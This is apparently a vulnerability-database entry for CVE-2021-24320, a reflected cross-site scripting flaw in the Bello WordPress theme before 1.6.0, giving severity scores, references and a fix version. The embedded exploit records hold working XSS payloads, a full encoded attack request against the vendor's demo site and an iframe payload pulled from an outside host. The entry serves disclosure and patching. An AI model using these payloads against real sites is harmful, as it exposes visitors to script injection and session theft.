Description
The Bello - Directory & Listing WordPress theme before 1.6.0 did not properly sanitise and escape its listing_list_view, bt_bb_listing_field_my_lat, bt_bb_listing_field_my_lng, bt_bb_listing_field_distance_value, bt_bb_listing_field_my_lat_default, bt_bb_listing_field_keyword, bt_bb_listing_field_location_autocomplete, bt_bb_listing_field_price_range_from and bt_bb_listing_field_price_range_to parameter in ints listing page, leading to reflected Cross-Site Scripting issues.
Affected Software
Related
{"id": "CVE-2021-24320", "vendorId": null, "type": "cve", "bulletinFamily": "NVD", "title": "CVE-2021-24320", "description": "The Bello - Directory & Listing WordPress theme before 1.6.0 did not properly sanitise and escape its listing_list_view, bt_bb_listing_field_my_lat, bt_bb_listing_field_my_lng, bt_bb_listing_field_distance_value, bt_bb_listing_field_my_lat_default, bt_bb_listing_field_keyword, bt_bb_listing_field_location_autocomplete, bt_bb_listing_field_price_range_from and bt_bb_listing_field_price_range_to parameter in ints listing page, leading to reflected Cross-Site Scripting issues.", "published": "2021-06-01T14:15:00", "modified": "2021-08-12T21:23:00", "cvss": {"score": 4.3, "vector": "AV:N/AC:M/Au:N/C:N/I:P/A:N"}, "cvss2": {"cvssV2": {"version": "2.0", "vectorString": "AV:N/AC:M/Au:N/C:N/I:P/A:N", "accessVector": "NETWORK", "accessComplexity": "MEDIUM", "authentication": "NONE", "confidentialityImpact": "NONE", "integrityImpact": "PARTIAL", "availabilityImpact": "NONE", "baseScore": 4.3}, "severity": "MEDIUM", "exploitabilityScore": 8.6, "impactScore": 2.9, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": true}, "cvss3": {"cvssV3": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE", "baseScore": 6.1, "baseSeverity": "MEDIUM"}, "exploitabilityScore": 2.8, "impactScore": 2.7}, "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2021-24320", "reporter": "contact@wpscan.com", "references": ["https://wpscan.com/vulnerability/6b5b42fd-028a-4405-b027-3266058029bb", "https://m0ze.ru/vulnerability/%5B2021-03-21%5D-%5BWordPress%5D-%5BCWE-79%5D-Bello-WordPress-Theme-v1.5.9.txt"], "cvelist": ["CVE-2021-24320"], "immutableFields": [], "lastseen": "2022-03-23T14:51:48", "viewCount": 23, "enchantments": {"dependencies": {"references": [{"type": "wpexploit", "idList": ["WPEX-ID:6B5B42FD-028A-4405-B027-3266058029BB"]}, {"type": "wpvulndb", "idList": ["WPVDB-ID:6B5B42FD-028A-4405-B027-3266058029BB"]}], "rev": 4}, "score": {"value": 1.4, "vector": "NONE"}, "twitter": {"counter": 6, "modified": "2021-06-12T07:40:31", "tweets": [{"link": "https://twitter.com/www_sesin_at/status/1425956623860867072", "text": "New post from https://t.co/9KYxtdZjkl?amp=1 (CVE-2021-24320 (bello)) has been published on https://t.co/OfMqIy05iD?amp=1"}, {"link": "https://twitter.com/www_sesin_at/status/1403431994953027587", "text": "New post from https://t.co/9KYxtdZjkl?amp=1 (CVE-2021-24320 (bello_-_directory_&_listing)) has been published on https://t.co/17uDHeqRUU?amp=1"}, {"link": "https://twitter.com/www_sesin_at/status/1403431994953027587", "text": "New post from https://t.co/9KYxtdZjkl?amp=1 (CVE-2021-24320 (bello_-_directory_&_listing)) has been published on https://t.co/17uDHeqRUU?amp=1"}, {"link": "https://twitter.com/WolfgangSesin/status/1403431935947464710", "text": "New post from https://t.co/uXvPWJy6tj?amp=1 (CVE-2021-24320 (bello_-_directory_&_listing)) has been published on https://t.co/TBPcMadFRc?amp=1"}, {"link": "https://twitter.com/WolfgangSesin/status/1403431935947464710", "text": "New post from https://t.co/uXvPWJy6tj?amp=1 (CVE-2021-24320 (bello_-_directory_&_listing)) has been published on https://t.co/TBPcMadFRc?amp=1"}, {"link": "https://twitter.com/WolfgangSesin/status/1425956654680469505", "text": "New post from https://t.co/uXvPWJPHkR?amp=1 (CVE-2021-24320 (bello)) has been published on https://t.co/P2sAH9VD9e?amp=1"}]}, "backreferences": {"references": [{"type": "wpexploit", "idList": ["WPEX-ID:6B5B42FD-028A-4405-B027-3266058029BB"]}, {"type": "wpvulndb", "idList": ["WPVDB-ID:6B5B42FD-028A-4405-B027-3266058029BB"]}]}, "exploitation": null, "vulnersScore": 1.4}, "_state": {"dependencies": 0}, "_internal": {}, "cna_cvss": {"cna": null, "cvss": {}}, "cpe": [], "cpe23": [], "cwe": ["CWE-79"], "affectedSoftware": [{"cpeName": "bold-themes:bello", "version": "1.6.0", "operator": "lt", "name": "bold-themes bello"}], "affectedConfiguration": [], "cpeConfiguration": {"CVE_data_version": "4.0", "nodes": [{"operator": "OR", "children": [], "cpe_match": [{"vulnerable": true, "cpe23Uri": "cpe:2.3:a:bold-themes:bello:1.6.0:*:*:*:*:wordpress:*:*", "versionEndExcluding": "1.6.0", "cpe_name": []}]}]}, "extraReferences": [{"url": "https://wpscan.com/vulnerability/6b5b42fd-028a-4405-b027-3266058029bb", "name": "https://wpscan.com/vulnerability/6b5b42fd-028a-4405-b027-3266058029bb", "refsource": "CONFIRM", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://m0ze.ru/vulnerability/%5B2021-03-21%5D-%5BWordPress%5D-%5BCWE-79%5D-Bello-WordPress-Theme-v1.5.9.txt", "name": "https://m0ze.ru/vulnerability/%5B2021-03-21%5D-%5BWordPress%5D-%5BCWE-79%5D-Bello-WordPress-Theme-v1.5.9.txt", "refsource": "MISC", "tags": ["Exploit", "Third Party Advisory"]}]}
{"patchstack": [{"lastseen": "2022-06-01T19:33:05", "description": "Unauthenticated Reflected Cross-Site Scripting (XSS) vulnerability discovered by m0ze (Patchstack Red Team) in WordPress Bello - Directory & Listing premium theme (versions <= 1.5.9).\n\n## Solution\n\n\r\n Update the WordPress Bello - Directory & Listing premium theme to the latest available version (at least 1.6.0).\r\n ", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "NONE", "integrityImpact": "LOW", "privilegesRequired": "NONE", "baseScore": 6.1, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 2.7}, "published": "2021-03-21T00:00:00", "type": "patchstack", "title": "WordPress Bello - Directory & Listing premium theme <= 1.5.9 - Unauthenticated Reflected Cross-Site Scripting (XSS) vulnerability", "bulletinFamily": "software", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "NONE", "availabilityImpact": "NONE", "integrityImpact": "PARTIAL", "baseScore": 4.3, "vectorString": "AV:N/AC:M/Au:N/C:N/I:P/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 2.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-24320"], "modified": "2021-03-21T00:00:00", "id": "PATCHSTACK:423CB6F8CD447035A751387569206B32", "href": "https://patchstack.com/database/vulnerability/bello/wordpress-bello-directory-listing-premium-theme-1-5-9-unauthenticated-reflected-cross-site-scripting-xss-vulnerability", "cvss": {"score": 4.3, "vector": "AV:N/AC:M/Au:N/C:N/I:P/A:N"}}], "wpvulndb": [{"lastseen": "2021-08-23T12:23:17", "description": "The theme did not properly sanitise and escape its listing_list_view, bt_bb_listing_field_my_lat, bt_bb_listing_field_my_lng, bt_bb_listing_field_distance_value, bt_bb_listing_field_my_lat_default, bt_bb_listing_field_keyword, bt_bb_listing_field_location_autocomplete, bt_bb_listing_field_price_range_from and bt_bb_listing_field_price_range_to parameter in ints listing page, leading to reflected Cross-Site Scripting issues.\n\n### PoC\n\n### -- [ Payloads: ] [$] 13\"-->\">'` -- ` [$] <!--> ### -- [ PoC | Unauthenticated Reflected XSS & XFS | Listing search query: ] [!] https://bello.bold-themes.com/main-demo/listing/?listing_list_view=standard13%22--%3E%22%3E%27`%20--%20`%3C!--%3Cimg%20src=%22--%3E%3Cimg%20src=x%20onerror=(alert)(`listing_list_view`);%3E&bt;_bb_listing_field_my_lat=13%22--%3E%22%3E%27`%20--%20`%3C!--%3Cimg%20src=%22--%3E%3Cimg%20src=x%20onerror=(alert)(`bt_bb_listing_field_my_lat`);%3E&bt;_bb_listing_field_my_lng=13%22--%3E%22%3E%27`%20--%20`%3C!--%3Cimg%20src=%22--%3E%3Cimg%20src=x%20onerror=(alert)(`bt_bb_listing_field_my_lng`);%3E&bt;_bb_listing_field_distance_value=13%22--%3E%22%3E%27`%20--%20`%3C!--%3Cimg%20src=%22--%3E%3Cimg%20src=x%20onerror=(alert)(`bt_bb_listing_field_distance_value`);%3E&bt;_bb_listing_field_my_lat_default=13&bt;_bb_listing_field_my_lng_default=13&bt;_bb_listing_field_keyword=13%22--%3E%22%3E%27`%20--%20`%3C!--%3Cimg%20src=%22--%3E%3Cimg%20src=x%20onerror=(alert)(`bt_bb_listing_field_keyword`);%3E&bt;_bb_listing_field_location_autocomplete=13%22--%3E%22%3E%27`%20--%20`%3C!--%3Cimg%20src=%22--%3E%3Cimg%20src=x%20onerror=(alert)(`bt_bb_listing_field_location_autocomplete`);%3E&bt;_bb_listing_field_category=all&bt;_bb_listing_field_price_range_from=13%22--%3E%22%3E%27`%20--%20`%3C!--%3Cimg%20src=%22--%3E%3Cimg%20src=x%20onerror=(alert)(`bt_bb_listing_field_price_range_from`);%3E&bt;_bb_listing_field_price_range_to=13%22--%3E%22%3E%27`%20--%20`%3C!--%3Cimg%20src=%22--%3E%3Cimg%20src=x%20onerror=(alert)(`bt_bb_listing_field_price_range_to`);%3E [!] GET /main-demo/listing/?listing_list_view=standard13%22--%3E%22%3E%27`%20--%20`%3C!--%3Cimg%20src=%22--%3E%3Cimg%20src=x%20onerror=(alert)(`listing_list_view`);%3E&bt;_bb_listing_field_my_lat=13%22--%3E%22%3E%27`%20--%20`%3C!--%3Cimg%20src=%22--%3E%3Cimg%20src=x%20onerror=(alert)(`bt_bb_listing_field_my_lat`);%3E&bt;_bb_listing_field_my_lng=13%22--%3E%22%3E%27`%20--%20`%3C!--%3Cimg%20src=%22--%3E%3Cimg%20src=x%20onerror=(alert)(`bt_bb_listing_field_my_lng`);%3E&bt;_bb_listing_field_distance_value=13%22--%3E%22%3E%27`%20--%20`%3C!--%3Cimg%20src=%22--%3E%3Cimg%20src=x%20onerror=(alert)(`bt_bb_listing_field_distance_value`);%3E&bt;_bb_listing_field_my_lat_default=13&bt;_bb_listing_field_my_lng_default=13&bt;_bb_listing_field_keyword=13%22--%3E%22%3E%27`%20--%20`%3C!--%3Cimg%20src=%22--%3E%3Cimg%20src=x%20onerror=(alert)(`bt_bb_listing_field_keyword`);%3E&bt;_bb_listing_field_location_autocomplete=13%22--%3E%22%3E%27`%20--%20`%3C!--%3Cimg%20src=%22--%3E%3Cimg%20src=x%20onerror=(alert)(`bt_bb_listing_field_location_autocomplete`);%3E&bt;_bb_listing_field_category=all&bt;_bb_listing_field_price_range_from=13%22--%3E%22%3E%27`%20--%20`%3C!--%3Cimg%20src=%22--%3E%3Cimg%20src=x%20onerror=(alert)(`bt_bb_listing_field_price_range_from`);%3E&bt;_bb_listing_field_price_range_to=13%22--%3E%22%3E%27`%20--%20`%3C!--%3Cimg%20src=%22--%3E%3Cimg%20src=x%20onerror=(alert)(`bt_bb_listing_field_price_range_to`);%3E HTTP/1.1 Host: bello.bold-themes.com \n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "NONE", "integrityImpact": "LOW", "baseScore": 6.1, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "userInteraction": "REQUIRED", "version": "3.1"}, "impactScore": 2.7}, "published": "2021-05-16T00:00:00", "type": "wpvulndb", "title": "Bello < 1.6.0 - Unauthenticated Reflected XSS & XFS", "bulletinFamily": "software", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "NONE", "availabilityImpact": "NONE", "integrityImpact": "PARTIAL", "baseScore": 4.3, "vectorString": "AV:N/AC:M/Au:N/C:N/I:P/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 2.9, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-24320"], "modified": "2021-05-17T07:01:48", "id": "WPVDB-ID:6B5B42FD-028A-4405-B027-3266058029BB", "href": "https://wpscan.com/vulnerability/6b5b42fd-028a-4405-b027-3266058029bb", "sourceData": "", "cvss": {"score": 4.3, "vector": "AV:N/AC:M/Au:N/C:N/I:P/A:N"}}], "wpexploit": [{"lastseen": "2021-08-23T12:23:17", "description": "The theme did not properly sanitise and escape its listing_list_view, bt_bb_listing_field_my_lat, bt_bb_listing_field_my_lng, bt_bb_listing_field_distance_value, bt_bb_listing_field_my_lat_default, bt_bb_listing_field_keyword, bt_bb_listing_field_location_autocomplete, bt_bb_listing_field_price_range_from and bt_bb_listing_field_price_range_to parameter in ints listing page, leading to reflected Cross-Site Scripting issues.\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "NONE", "integrityImpact": "LOW", "baseScore": 6.1, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "userInteraction": "REQUIRED", "version": "3.1"}, "impactScore": 2.7}, "published": "2021-05-16T00:00:00", "type": "wpexploit", "title": "Bello < 1.6.0 - Unauthenticated Reflected XSS & XFS", "bulletinFamily": "exploit", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "NONE", "availabilityImpact": "NONE", "integrityImpact": "PARTIAL", "baseScore": 4.3, "vectorString": "AV:N/AC:M/Au:N/C:N/I:P/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 2.9, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-24320"], "modified": "2021-05-17T07:01:48", "id": "WPEX-ID:6B5B42FD-028A-4405-B027-3266058029BB", "href": "", "sourceData": "### -- [ Payloads: ]\r\n\r\n[$] 13\"-->\">'` -- `<!--<img src=\"--><img src=x onerror=(alert)(`m0ze`);>\r\n\r\n[$] <!--><embed src=https://m0ze.ru/payload/xfsii.html><iframe src=https://m0ze.ru/payload/xfsii.html></iframe>\r\n\r\n\r\n### -- [ PoC | Unauthenticated Reflected XSS & XFS | Listing search query: ]\r\n\r\n[!] https://bello.bold-themes.com/main-demo/listing/?listing_list_view=standard13%22--%3E%22%3E%27`%20--%20`%3C!--%3Cimg%20src=%22--%3E%3Cimg%20src=x%20onerror=(alert)(`listing_list_view`);%3E&bt_bb_listing_field_my_lat=13%22--%3E%22%3E%27`%20--%20`%3C!--%3Cimg%20src=%22--%3E%3Cimg%20src=x%20onerror=(alert)(`bt_bb_listing_field_my_lat`);%3E&bt_bb_listing_field_my_lng=13%22--%3E%22%3E%27`%20--%20`%3C!--%3Cimg%20src=%22--%3E%3Cimg%20src=x%20onerror=(alert)(`bt_bb_listing_field_my_lng`);%3E&bt_bb_listing_field_distance_value=13%22--%3E%22%3E%27`%20--%20`%3C!--%3Cimg%20src=%22--%3E%3Cimg%20src=x%20onerror=(alert)(`bt_bb_listing_field_distance_value`);%3E&bt_bb_listing_field_my_lat_default=13&bt_bb_listing_field_my_lng_default=13&bt_bb_listing_field_keyword=13%22--%3E%22%3E%27`%20--%20`%3C!--%3Cimg%20src=%22--%3E%3Cimg%20src=x%20onerror=(alert)(`bt_bb_listing_field_keyword`);%3E&bt_bb_listing_field_location_autocomplete=13%22--%3E%22%3E%27`%20--%20`%3C!--%3Cimg%20src=%22--%3E%3Cimg%20src=x%20onerror=(alert)(`bt_bb_listing_field_location_autocomplete`);%3E&bt_bb_listing_field_category=all&bt_bb_listing_field_price_range_from=13%22--%3E%22%3E%27`%20--%20`%3C!--%3Cimg%20src=%22--%3E%3Cimg%20src=x%20onerror=(alert)(`bt_bb_listing_field_price_range_from`);%3E&bt_bb_listing_field_price_range_to=13%22--%3E%22%3E%27`%20--%20`%3C!--%3Cimg%20src=%22--%3E%3Cimg%20src=x%20onerror=(alert)(`bt_bb_listing_field_price_range_to`);%3E\r\n\r\n[!] GET /main-demo/listing/?listing_list_view=standard13%22--%3E%22%3E%27`%20--%20`%3C!--%3Cimg%20src=%22--%3E%3Cimg%20src=x%20onerror=(alert)(`listing_list_view`);%3E&bt_bb_listing_field_my_lat=13%22--%3E%22%3E%27`%20--%20`%3C!--%3Cimg%20src=%22--%3E%3Cimg%20src=x%20onerror=(alert)(`bt_bb_listing_field_my_lat`);%3E&bt_bb_listing_field_my_lng=13%22--%3E%22%3E%27`%20--%20`%3C!--%3Cimg%20src=%22--%3E%3Cimg%20src=x%20onerror=(alert)(`bt_bb_listing_field_my_lng`);%3E&bt_bb_listing_field_distance_value=13%22--%3E%22%3E%27`%20--%20`%3C!--%3Cimg%20src=%22--%3E%3Cimg%20src=x%20onerror=(alert)(`bt_bb_listing_field_distance_value`);%3E&bt_bb_listing_field_my_lat_default=13&bt_bb_listing_field_my_lng_default=13&bt_bb_listing_field_keyword=13%22--%3E%22%3E%27`%20--%20`%3C!--%3Cimg%20src=%22--%3E%3Cimg%20src=x%20onerror=(alert)(`bt_bb_listing_field_keyword`);%3E&bt_bb_listing_field_location_autocomplete=13%22--%3E%22%3E%27`%20--%20`%3C!--%3Cimg%20src=%22--%3E%3Cimg%20src=x%20onerror=(alert)(`bt_bb_listing_field_location_autocomplete`);%3E&bt_bb_listing_field_category=all&bt_bb_listing_field_price_range_from=13%22--%3E%22%3E%27`%20--%20`%3C!--%3Cimg%20src=%22--%3E%3Cimg%20src=x%20onerror=(alert)(`bt_bb_listing_field_price_range_from`);%3E&bt_bb_listing_field_price_range_to=13%22--%3E%22%3E%27`%20--%20`%3C!--%3Cimg%20src=%22--%3E%3Cimg%20src=x%20onerror=(alert)(`bt_bb_listing_field_price_range_to`);%3E HTTP/1.1\r\nHost: bello.bold-themes.com\r\n", "cvss": {"score": 4.3, "vector": "AV:N/AC:M/Au:N/C:N/I:P/A:N"}}]}
CVE-2021-24320
